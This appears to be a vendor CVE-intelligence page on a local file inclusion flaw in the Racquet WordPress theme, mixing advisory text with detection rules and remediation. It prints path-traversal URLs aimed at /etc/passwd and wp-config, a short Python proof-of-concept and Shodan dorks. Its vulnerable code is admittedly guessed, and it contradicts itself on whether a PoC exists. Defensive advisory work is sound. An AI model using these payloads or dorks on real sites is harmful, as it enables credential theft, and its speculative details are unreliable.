☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Axiomthemes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-69369

CVE-2025-69369 Local File Inclusion in Axiomthemes
📅 PUBLISHED: 2026-06-02 14:16 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1083
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-69369 is a critical vulnerability affecting the Racquet WordPress theme by Axiomthemes, up to and including version 1.12.0. The flaw is a PHP Local File Inclusion (LFI) vulnerability, stemming from improper control of a filename used in a PHP include or require statement. An unauthenticated attacker can exploit this to read arbitrary files from the server, including sensitive configuration files like wp-config.php, which may contain database credentials and authentication keys.

This vulnerability is classified as a WordPress ecosystem issue, as it resides within a WordPress theme. The CVSS score of 8.1 (High) reflects the ease of exploitation and the high confidentiality impact. No public proof-of-concept (PoC) or exploit code is currently available, but the technical nature of the flaw makes it a prime target for automated scanning.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but is a WordPress theme distributed via the official WordPress theme repository or third-party marketplaces. Users should verify the integrity of their theme files and ensure they are obtained from trusted sources.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 8.1 (High)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: High (C:H) – Sensitive files can be read.
  • Integrity Impact: None (I:N) – No file modification.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to full disclosure of sensitive server data.

Deep Dive & Mechanics

The vulnerability is a PHP Local File Inclusion (LFI) in the Racquet WordPress theme. The theme likely uses a dynamic file inclusion mechanism, such as:

include($_GET['page'] . '.php');

or similar constructs where user input is not properly sanitized. An attacker can manipulate the page parameter (or similar) to include arbitrary files by using path traversal sequences like ../../../../etc/passwd.

The core issue is the lack of input validation and the use of user-supplied data in a file inclusion function. This is a classic example of CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program.

Vulnerable vs. Patched Code

Vulnerable Code (Racquet <= 1.12.0):

// Example vulnerable code in theme's template loader
$page = $_GET['page'];
include( get_template_directory() . '/includes/' . $page . '.php' );

Patched Code (Hypothetical):

// Patched version with whitelist and path sanitization
$allowed_pages = array('home', 'about', 'contact');
$page = sanitize_file_name( $_GET['page'] );
if ( in_array( $page, $allowed_pages ) ) {
    include( get_template_directory() . '/includes/' . $page . '.php' );
} else {
    // Default to 404 or home
    include( get_template_directory() . '/includes/home.php' );
}

The patched code uses a whitelist of allowed pages and sanitizes the filename to prevent path traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site running Racquet theme version <= 1.12.0.
  • The vulnerable parameter is likely page or template.

Exploitation Steps:

  1. Identify the vulnerable parameter: Look for URL patterns like ?page=something in the theme's template files.
  2. Craft the payload: Use path traversal to read sensitive files.
    • Example: http://target.com/?page=../../../../../../etc/passwd
    • Example: http://target.com/?page=../../../../../../wp-config
  3. Execute: The server will include the file, and its contents will be displayed in the response.

Proof-of-Concept (PoC) Code:

import requests

target = "http://target.com"
payload = "?page=../../../../../../etc/passwd"
url = target + payload

response = requests.get(url)
if "root:" in response.text:
    print("[+] LFI successful!")
    print(response.text)
else:
    print("[-] LFI failed.")

Blue Team (Detection & Hardening)

Detection:

  • Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e%2f).
  • Look for requests to the theme's template loader with suspicious parameters.
  • Use WAF rules to block path traversal attempts.

Hardening:

  • Update the Racquet theme to a patched version (if available).
  • Implement a Web Application Firewall (WAF) with rules to block LFI attempts.
  • Disable PHP allow_url_include and allow_url_fopen if not needed.
  • Use a security plugin like Wordfence to monitor file inclusion attempts.

Indicators of Compromise (IOCs)

  • URL Patterns: Requests containing ?page=../ or ?page=..%2f or similar path traversal sequences.
  • Log Entries: HTTP 200 responses to requests with path traversal in the query string.
  • File Access: Unauthorized access to files like /etc/passwd, /wp-config.php, or other sensitive files.
  • Network Traffic: Outbound connections from the server to external IPs (if the LFI is used for RFI, though this is LFI only).

Detection Engineering

YARA Rule

rule Detect_LFI_Racquet_Theme {
    meta:
        description = "Detects LFI attempts against Racquet WordPress theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69369"
    strings:
        $path_traversal = /page=[^&]*\.\.\//
        $wp_config = /page=[^&]*wp-config/
    condition:
        any of them
}

Sigma Rule

title: LFI Attempt Against Racquet Theme
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts targeting the Racquet WordPress theme
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69369
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - 'page=../'
            - 'page=..%2f'
            - 'page=%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate use of '..' in page names (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-69369 LFI Attempt Against Racquet Theme";
    flow:to_server,established;
    content:"page="; http_uri;
    content:"../"; distance:0; within:10;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:cve,2025-69369;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable theme if no patch is available. Switch to a different theme.
  2. Apply virtual patching using a WAF to block path traversal patterns.
  3. Monitor logs for exploitation attempts.

Long-Term Fix:

  • The vendor (Axiomthemes) must release a patched version of the Racquet theme that properly sanitizes file inclusion parameters.
  • Users should update to the latest version once available.
  • Implement secure coding practices: use whitelists, sanitize input, and avoid dynamic file inclusion.

Workaround:

  • If the theme cannot be replaced, modify the theme's code to add input validation (as shown in the patched code example).

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Racquet"
http.html:"wp-content/themes/racquet"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-69369/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.